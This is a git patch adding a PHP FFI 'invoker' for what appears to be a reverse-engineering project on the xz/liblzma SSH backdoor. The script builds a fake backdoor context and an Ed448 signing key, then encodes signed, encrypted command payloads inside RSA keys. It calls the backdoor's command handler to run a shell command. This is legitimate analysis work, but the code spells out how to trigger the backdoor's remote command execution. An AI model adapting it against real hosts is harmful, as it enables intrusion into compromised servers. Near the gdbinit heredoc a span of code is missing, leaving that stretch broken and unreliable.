From b5862a485f0fb717b05c66aeed9f735572114ac4 Mon Sep 17 00:00:00 2001 From: Stefano Moioli Date: Thu, 18 Apr 2024 22:25:33 +0200 Subject: [PATCH] add payload generator and invoker (invoker.php) this script uses the generated slim header (build/xzre.h) to build payloads and run them --- composer.json | 17 ++ composer.lock | 246 ++++++++++++++++++++++++++++ invoker.php | 437 ++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 700 insertions(+) create mode 100644 composer.json create mode 100644 composer.lock create mode 100644 invoker.php diff --git a/composer.json b/composer.json new file mode 100644 index 0000000..ac8e19b --- /dev/null +++ b/composer.json @@ -0,0 +1,17 @@ +{ + "name": "smx-smx/xzre", + "autoload": { + "psr-4": { + "Smx\\Xzre\\": "src/" + } + }, + "authors": [ + { + "name": "Stefano Moioli", + "email": "smxdev4@gmail.com" + } + ], + "require": { + "phpseclib/phpseclib": "~3.0" + } +} diff --git a/composer.lock b/composer.lock new file mode 100644 index 0000000..a19f378 --- /dev/null +++ b/composer.lock @@ -0,0 +1,246 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "e1959b81fa9b2fdbcc820a1be8cc3d42", + "packages": [ + { + "name": "paragonie/constant_time_encoding", + "version": "v2.6.3", + "source": { + "type": "git", + "url": "https://github.com/paragonie/constant_time_encoding.git", + "reference": "58c3f47f650c94ec05a151692652a868995d2938" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paragonie/constant_time_encoding/zipball/58c3f47f650c94ec05a151692652a868995d2938", + "reference": "58c3f47f650c94ec05a151692652a868995d2938", + "shasum": "" + }, + "require": { + "php": "^7|^8" + }, + "require-dev": { + "phpunit/phpunit": "^6|^7|^8|^9", + "vimeo/psalm": "^1|^2|^3|^4" + }, + "type": "library", + "autoload": { + "psr-4": { + "ParagonIE\\ConstantTime\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Paragon Initiative Enterprises", + "email": "security@paragonie.com", + "homepage": "https://paragonie.com", + "role": "Maintainer" + }, + { + "name": "Steve 'Sc00bz' Thomas", + "email": "steve@tobtu.com", + "homepage": "https://www.tobtu.com", + "role": "Original Developer" + } + ], + "description": "Constant-time Implementations of RFC 4648 Encoding (Base-64, Base-32, Base-16)", + "keywords": [ + "base16", + "base32", + "base32_decode", + "base32_encode", + "base64", + "base64_decode", + "base64_encode", + "bin2hex", + "encoding", + "hex", + "hex2bin", + "rfc4648" + ], + "support": { + "email": "info@paragonie.com", + "issues": "https://github.com/paragonie/constant_time_encoding/issues", + "source": "https://github.com/paragonie/constant_time_encoding" + }, + "time": "2022-06-14T06:56:20+00:00" + }, + { + "name": "paragonie/random_compat", + "version": "v9.99.100", + "source": { + "type": "git", + "url": "https://github.com/paragonie/random_compat.git", + "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paragonie/random_compat/zipball/996434e5492cb4c3edcb9168db6fbb1359ef965a", + "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a", + "shasum": "" + }, + "require": { + "php": ">= 7" + }, + "require-dev": { + "phpunit/phpunit": "4.*|5.*", + "vimeo/psalm": "^1" + }, + "suggest": { + "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes." + }, + "type": "library", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Paragon Initiative Enterprises", + "email": "security@paragonie.com", + "homepage": "https://paragonie.com" + } + ], + "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7", + "keywords": [ + "csprng", + "polyfill", + "pseudorandom", + "random" + ], + "support": { + "email": "info@paragonie.com", + "issues": "https://github.com/paragonie/random_compat/issues", + "source": "https://github.com/paragonie/random_compat" + }, + "time": "2020-10-15T08:29:30+00:00" + }, + { + "name": "phpseclib/phpseclib", + "version": "3.0.37", + "source": { + "type": "git", + "url": "https://github.com/phpseclib/phpseclib.git", + "reference": "cfa2013d0f68c062055180dd4328cc8b9d1f30b8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/cfa2013d0f68c062055180dd4328cc8b9d1f30b8", + "reference": "cfa2013d0f68c062055180dd4328cc8b9d1f30b8", + "shasum": "" + }, + "require": { + "paragonie/constant_time_encoding": "^1|^2", + "paragonie/random_compat": "^1.4|^2.0|^9.99.99", + "php": ">=5.6.1" + }, + "require-dev": { + "phpunit/phpunit": "*" + }, + "suggest": { + "ext-dom": "Install the DOM extension to load XML formatted public keys.", + "ext-gmp": "Install the GMP (GNU Multiple Precision) extension in order to speed up arbitrary precision integer arithmetic operations.", + "ext-libsodium": "SSH2/SFTP can make use of some algorithms provided by the libsodium-php extension.", + "ext-mcrypt": "Install the Mcrypt extension in order to speed up a few other cryptographic operations.", + "ext-openssl": "Install the OpenSSL extension in order to speed up a wide variety of cryptographic operations." + }, + "type": "library", + "autoload": { + "files": [ + "phpseclib/bootstrap.php" + ], + "psr-4": { + "phpseclib3\\": "phpseclib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jim Wigginton", + "email": "terrafrost@php.net", + "role": "Lead Developer" + }, + { + "name": "Patrick Monnerat", + "email": "pm@datasphere.ch", + "role": "Developer" + }, + { + "name": "Andreas Fischer", + "email": "bantu@phpbb.com", + "role": "Developer" + }, + { + "name": "Hans-Jürgen Petrich", + "email": "petrich@tronic-media.com", + "role": "Developer" + }, + { + "name": "Graham Campbell", + "email": "graham@alt-three.com", + "role": "Developer" + } + ], + "description": "PHP Secure Communications Library - Pure-PHP implementations of RSA, AES, SSH2, SFTP, X.509 etc.", + "homepage": "http://phpseclib.sourceforge.net", + "keywords": [ + "BigInteger", + "aes", + "asn.1", + "asn1", + "blowfish", + "crypto", + "cryptography", + "encryption", + "rsa", + "security", + "sftp", + "signature", + "signing", + "ssh", + "twofish", + "x.509", + "x509" + ], + "support": { + "issues": "https://github.com/phpseclib/phpseclib/issues", + "source": "https://github.com/phpseclib/phpseclib/tree/3.0.37" + }, + "funding": [ + { + "url": "https://github.com/terrafrost", + "type": "github" + }, + { + "url": "https://www.patreon.com/phpseclib", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpseclib/phpseclib", + "type": "tidelift" + } + ], + "time": "2024-03-03T02:14:58+00:00" + } + ], + "packages-dev": [], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": [], + "platform-dev": [], + "plugin-api-version": "2.6.0" +} diff --git a/invoker.php b/invoker.php new file mode 100644 index 0000000..a39a503 --- /dev/null +++ b/invoker.php @@ -0,0 +1,437 @@ + + * this script uses the header generated by xzre (build/xzre.h) + * to create a fake backdoor context. + * it then uses this context to build and run payloads. + */ + +use FFI\CData; +use phpseclib3\Crypt\EC; +use phpseclib3\Crypt\RSA; +use phpseclib3\Math\BigInteger; + +require_once __DIR__ . '/vendor/autoload.php'; + +define('CHACHA20_KEY_SIZE', 32); +define('CHACHA20_IV_SIZE', 16); +define('SHA256_DIGEST_SIZE', 32); + +define('OP_ENCRYPT', 0); +define('OP_DECRYPT', 1); + +function path_combine(string ...$parts){ + return implode(DIRECTORY_SEPARATOR, $parts); +} + +function error(string $msg){ + print("ERROR: {$msg}\n"); +} + +function say(string $msg){ + if(empty($msg)) print("\n"); + else print("[+] {$msg}\n"); +} + +function secret_data_crypto(string $data, int $op){ + $zero_data = str_repeat("\x00", CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE); + $zero_key = str_repeat("\x00", CHACHA20_KEY_SIZE); + $zero_iv = str_repeat("\x00", CHACHA20_IV_SIZE); + // get actual key,iv by decrypting zeros + $decrypted = openssl_decrypt($zero_data, 'chacha20', $zero_key, OPENSSL_RAW_DATA, $zero_iv); + + $key = substr($decrypted, 0, CHACHA20_KEY_SIZE); + $iv = substr($decrypted, CHACHA20_KEY_SIZE, CHACHA20_IV_SIZE); + return ($op == OP_ENCRYPT) + ? openssl_encrypt($data, 'chacha20', $key, OPENSSL_RAW_DATA, $iv) + : openssl_decrypt($data, 'chacha20', $key, OPENSSL_RAW_DATA, $iv); +} + +function encode_data(int $size, $data){ + switch($size){ + case 1: return pack('C', $data); + case 2: return pack('v', $data); + case 4: return pack('V', $data); + case 8: return pack('P', $data); + default: return $data; + } +} + +function make_array(int $size){ + $uchar = FFI::type('uint8_t'); + $arrT = FFI::arrayType($uchar, [$size]); + return FFI::new($arrT); +} + +function array_bytes(CData $arr_instance){ + $size = FFI::sizeof($arr_instance); + return FFI::string(FFI::addr($arr_instance), $size); +} + + +class Invoker { + private FFI $ffi; + private FFI $crypto; + private FFI $syms; + + private function init_ffi(){ + $this->ffi = FFI::cdef( + file_get_contents(__DIR__ . '/build/xzre.h'), + __DIR__ . '/build/liblzma.so' + ); + + $this->crypto = FFI::cdef(' + typedef void BIGNUM; + typedef void RSA; + typedef void BIO; + + RSA *RSA_new(void); + void RSA_free(RSA *rsa); + BIGNUM *BN_bin2bn(const unsigned char *s, int len, BIGNUM *ret); + int BN_hex2bn(BIGNUM **a, const char *str); + + BIO *BIO_new_mem_buf(const void *buf, int len); + RSA *PEM_read_bio_RSA_PUBKEY(BIO *bp, RSA **x, void *cb, void *u); + int BIO_free(BIO *a); + ','libcrypto.so' + ); + + $this->syms = FFI::cdef(' + void *dlsym(void *handle, const char *symbol); + int mprotect(void *addr, size_t len, int prot); + int getpagesize(void); + ' + ); + } + + /** + * @return CData + */ + private function dlsym(string $sym){ + /** @var mixed */ + $ffi = $this->syms; + return $ffi->dlsym(null, $sym); + } + + private CData $nat_ctx; + private CData $nat_imported_funcs; + private CData $nat_libc_imports; + private CData $nat_sshd_ctx; + private CData $nat_sshd_log_ctx; + private CData $nat_sshd_sensitive_data; + private CData $nat_permit_root_login; + private CData $nat_monitor_req_keyallowed; + + private CData $nat_host_keys; + private CData $nat_host_pubkeys; + private CData $nat_sshkey; + private CData $nat_sshkey_pub; + + private function init_structures_part0(){ + $ffi = $this->ffi; + $this->nat_ctx = $ffi->new('global_context_t'); + $this->nat_imported_funcs = $ffi->new('imported_funcs_t'); + $this->nat_libc_imports = $ffi->new('libc_imports_t'); + $this->nat_sshd_ctx = $ffi->new('sshd_ctx_t'); + $this->nat_sshd_log_ctx = $ffi->new('sshd_log_ctx_t'); + $this->nat_sshd_sensitive_data = $ffi->new('struct sensitive_data', false); + $this->nat_permit_root_login = $ffi->new('int'); + $this->nat_monitor_req_keyallowed = make_array(4 + 4 + 8); + + $this->nat_permit_root_login->cdata = 0; // PERMIT_NO + $this->nat_sshd_ctx->permit_root_login_ptr = FFI::addr($this->nat_permit_root_login); + + $monitor_req_keyallowed_ptr = FFI::cast('uintptr_t', FFI::addr($this->nat_monitor_req_keyallowed)); + $monitor_req_keyallowed_ptr->cdata += 4 + 4; + + $this->nat_sshd_ctx->monitor_req_keyallowed_ptr = FFI::cast('void *', $monitor_req_keyallowed_ptr); + $this->nat_sshd_ctx->have_mm_answer_keyallowed = 1; + $this->nat_sshd_ctx->have_mm_answer_authpassword = 1; + $this->nat_sshd_ctx->have_mm_answer_keyverify = 1; + + $this->nat_ctx->num_shifted_bits = 57 * 8; + $this->nat_ctx->imported_funcs = FFI::addr($this->nat_imported_funcs); + $this->nat_ctx->libc_imports = FFI::addr($this->nat_libc_imports); + $this->nat_ctx->sshd_log_ctx = FFI::addr($this->nat_sshd_log_ctx); + $this->nat_ctx->sshd_ctx = FFI::addr($this->nat_sshd_ctx); + + + foreach(['RSA_get0_key', 'RSA_set0_key', 'BN_bn2bin', 'BN_num_bits', + 'EVP_CIPHER_CTX_new', 'EVP_DecryptInit_ex', 'EVP_DecryptUpdate', + 'EVP_DecryptFinal_ex', 'EVP_CIPHER_CTX_free', + 'EVP_chacha20', 'RSA_new', 'BN_dup', 'BN_bin2bn', + 'EVP_Digest', 'EVP_sha256', 'EVP_PKEY_new_raw_public_key', + 'EVP_MD_CTX_new', 'EVP_DigestVerifyInit', 'EVP_DigestVerify', + 'EVP_MD_CTX_free', 'EVP_PKEY_free' + ] as $fn){ + $addr = $this->dlsym($fn); + if($addr == null) throw new RuntimeException(); + $this->nat_imported_funcs->{$fn} = $addr; + } + /** init libc functions */ + foreach([ + 'getuid', 'exit', 'malloc_usable_size', + 'setresuid', 'setresgid', 'system' + ] as $fn){ + $addr = $this->dlsym($fn); + if($addr == null) throw new RuntimeException(); + $this->nat_libc_imports->{$fn} = $addr; + } + + /** encrypt the ED public key, and store it in the secret data field */ + $pubkey_data = $this->ed448_pubkey->getEncodedCoordinates(); + $secret_data = secret_data_crypto($pubkey_data, OP_ENCRYPT); + FFI::memcpy($this->nat_ctx->secret_data, $secret_data, strlen($secret_data)); + } + + private function init_structures_part1(){ + /** + * store the host key and host pub key + * host key is unused. we fill it with a copy of the public key since the backdoor checks + * that the number of host keys matches the number of host public keys + * NOTE: must pass persistent: true, so that malloc is used instead of emalloc. + * otherwise, `malloc_usable_size` will segfault + */ + /** @var mixed */ + $ffi = $this->ffi; + + $this->nat_host_keys = $ffi->new(FFI::arrayType( + $ffi->type('struct sshkey *'), [1]), false, true); + + $this->nat_host_pubkeys = $ffi->new(FFI::arrayType( + $ffi->type('struct sshkey *'), [1]), false, true); + + $key = $ffi->new($ffi->type('struct sshkey')); + $key->type = 0; // KEY_RSA + $key->rsa = $this->nat_ssh_hostkey_pub; + $this->nat_sshkey = $key; + $this->nat_host_keys[0] = FFI::addr($this->nat_sshkey); + + $pubkey = $ffi->new($ffi->type('struct sshkey')); + $pubkey->type = 0; // KEY_RSA + $pubkey->rsa = $this->nat_ssh_hostkey_pub; + $this->nat_sshkey_pub = $pubkey; + $this->nat_host_pubkeys[0] = FFI::addr($this->nat_sshkey_pub); + + /** + * fill sshd_sensitive_data + */ + $this->nat_sshd_sensitive_data->host_keys = $this->nat_host_keys; + $this->nat_sshd_sensitive_data->host_pubkeys = $this->nat_host_pubkeys; + $this->nat_sshd_sensitive_data->have_ssh2_key = 1; + $this->nat_ctx->sshd_sensitive_data = FFI::addr($this->nat_sshd_sensitive_data); + } + + private \phpseclib3\Crypt\EC\PrivateKey $ed448_privkey; + private \phpseclib3\Crypt\EC\PublicKey $ed448_pubkey; + + private function init_ed448_key(){ + $privkey_path = path_combine(__DIR__, 'ed448_key.pem'); + if(file_exists($privkey_path)){ + $privkey = EC::load(file_get_contents('ed448_key.pem')); + } else { + /** create Ed448 private and public key pairs */ + $privkey = EC::createKey('Ed448'); + file_put_contents($privkey_path, $privkey->toString('PKCS8')); + } + + $this->ed448_privkey = $privkey; + $this->ed448_pubkey = $privkey->getPublicKey(); + } + + /** + * @return CData + */ + private function nat_openssl_pkcs8_load(string $pem_public_key){ + /** @var mixed */ + $ffi = $this->crypto; + $rsa = $ffi->new('RSA *'); + + $buf = make_array(strlen($pem_public_key)); + FFI::memcpy($buf, $pem_public_key, strlen($pem_public_key)); + $bio = $ffi->BIO_new_mem_buf($buf, strlen($pem_public_key)); + $rsa_key = $ffi->PEM_read_bio_RSA_PUBKEY($bio, FFI::addr($rsa), null, null); + $ffi->BIO_free($bio); + return $rsa_key; + } + + private ?CData $nat_ssh_hostkey_pub = null; + private string $ssh_hostkey_digest; + + private function init_ssh_hostkey(){ + /** create fake RSA key */ + $hostkey = RSA::loadPublicKey([ + 'n' => new BigInteger(1337), + 'e' => new BigInteger(3) + ]); + + /** load host key into an OpenSSL RSA key structure */ + $this->nat_ssh_hostkey_pub = $this->nat_openssl_pkcs8_load($hostkey->toString('PKCS8')); + + /** obtain hostkey hash */ + $buf = make_array(SHA256_DIGEST_SIZE); + + /** @var mixed */ + $ffi = $this->ffi; + if(!$ffi->rsa_key_hash($this->nat_ssh_hostkey_pub, $buf, SHA256_DIGEST_SIZE, $this->nat_ctx->imported_funcs)){ + error("rsa_key_hash FAILED"); + die; + } + $this->ssh_hostkey_digest = array_bytes($buf); + } + + private function payload_make_header(int $cmd_type){ + return pack('VVP', 1, $cmd_type, 0); + } + + private function payload_make_args(int $flags1, int $flags2, int $flags3, int $size_field){ + return ('' + . encode_data(1, $flags1) + . encode_data(1, $flags2) + . encode_data(1, $flags3) + . encode_data(2, $size_field) + ); + } + + private function payload_make_signature(int $cmd_type, string $packet){ + $signed_data = ('' + . encode_data(4, $cmd_type) + . $packet + . $this->ssh_hostkey_digest + ); + $signature = $this->ed448_privkey->sign($signed_data); + return $signature; + } + + private function payload_make(int $cmd_type, string $packet){ + $payload_hdr = $this->payload_make_header($cmd_type); + $packet_sig = $this->payload_make_signature($cmd_type, $packet); + + $payload_body = ('' + . $packet_sig + . $packet + ); + + //say('sig: ' . bin2hex($packet_sig)); + say('payload_body: ' . bin2hex($payload_body)); + + $pubkey_data = $this->ed448_pubkey->getEncodedCoordinates(); + $payload_body_encrypted = openssl_encrypt($payload_body, 'chacha20', $pubkey_data, OPENSSL_RAW_DATA, $payload_hdr); + + return ('' + . $payload_hdr + . $payload_body_encrypted + ); + } + + private function payload_make_exec(string $shell_cmd){ + $cmd_type = 2; + $packet = ('' + . $this->payload_make_args(0, 0, 0, strlen($shell_cmd)) + . $shell_cmd + ); + return $this->payload_make($cmd_type, $packet); + } + + private function payload_encode(string $payload){ + /** generate payload and convert to PEM */ + $pkey = RSA::loadPublicKey([ + 'n' => new BigInteger(bin2hex($payload), 16), + 'e' => new BigInteger(3) + ]); + + + /** load PEM into an OpenSSL RSA key structure */ + $rsa_key = $this->nat_openssl_pkcs8_load($pkey->toString('PKCS8')); + return $rsa_key; + } + + private function init(){ + $this->init_ffi(); + $this->init_ed448_key(); + $this->init_structures_part0(); + $this->init_ssh_hostkey(); + $this->init_structures_part1(); + } + + + public function __construct(){ + $this->init(); + } + + private function backdoor_invoke(string $payload){ + $payload_rsa_key = $this->payload_encode($payload); + say(''); + + /** @var mixed */ + $ffi = $this->ffi; + $run_orig = $ffi->new('int'); + $res = $ffi->run_backdoor_commands($payload_rsa_key, FFI::addr($this->nat_ctx), FFI::addr($run_orig)); + say("res: {$res}, run_orig: {$run_orig}"); + + $this->nat_RSA_free($payload_rsa_key); + } + + public function cmd_system(string $command){ + $payload = $this->payload_make_exec($command); + $this->backdoor_invoke($payload); + } + + private function nat_unprotect_page(CData $addr){ + /** @var mixed */ + $ffi = $this->syms; + + $pagesz = $ffi->getpagesize(); + $pagemask = $pagesz - 1; + + $val = FFI::cast('uintptr_t', $addr); + $val->cdata = $val->cdata & ~$pagemask; + $ptr = FFI::cast('void *', $val); + $ret = $ffi->mprotect($ptr, $pagesz, 7); + } + + public function debug_place_breakpoint(int $addr){ + /** @var mixed */ + $ffi = $this->ffi; + $ptr1 = $ffi->run_backdoor_commands; + + $this->nat_unprotect_page($ffi->run_backdoor_commands); + + $code = "\xeb\xfe\x90\x90"; + FFI::memcpy($ptr1, $code, strlen($code)); + + $pid = getmypid(); + $base = 0x9490; + $bp = $addr; + + $offset = $bp - $base; + + $gdbinit = <<crypto; + $ffi->RSA_free($rsa_key); + } + + public function __destruct(){ + if($this->nat_ssh_hostkey_pub !== null){ + $this->nat_RSA_free($this->nat_ssh_hostkey_pub); + } + } +} + + +$invoker = new Invoker; +//$invoker->debug_place_breakpoint(0x993C); +$invoker->cmd_system('id');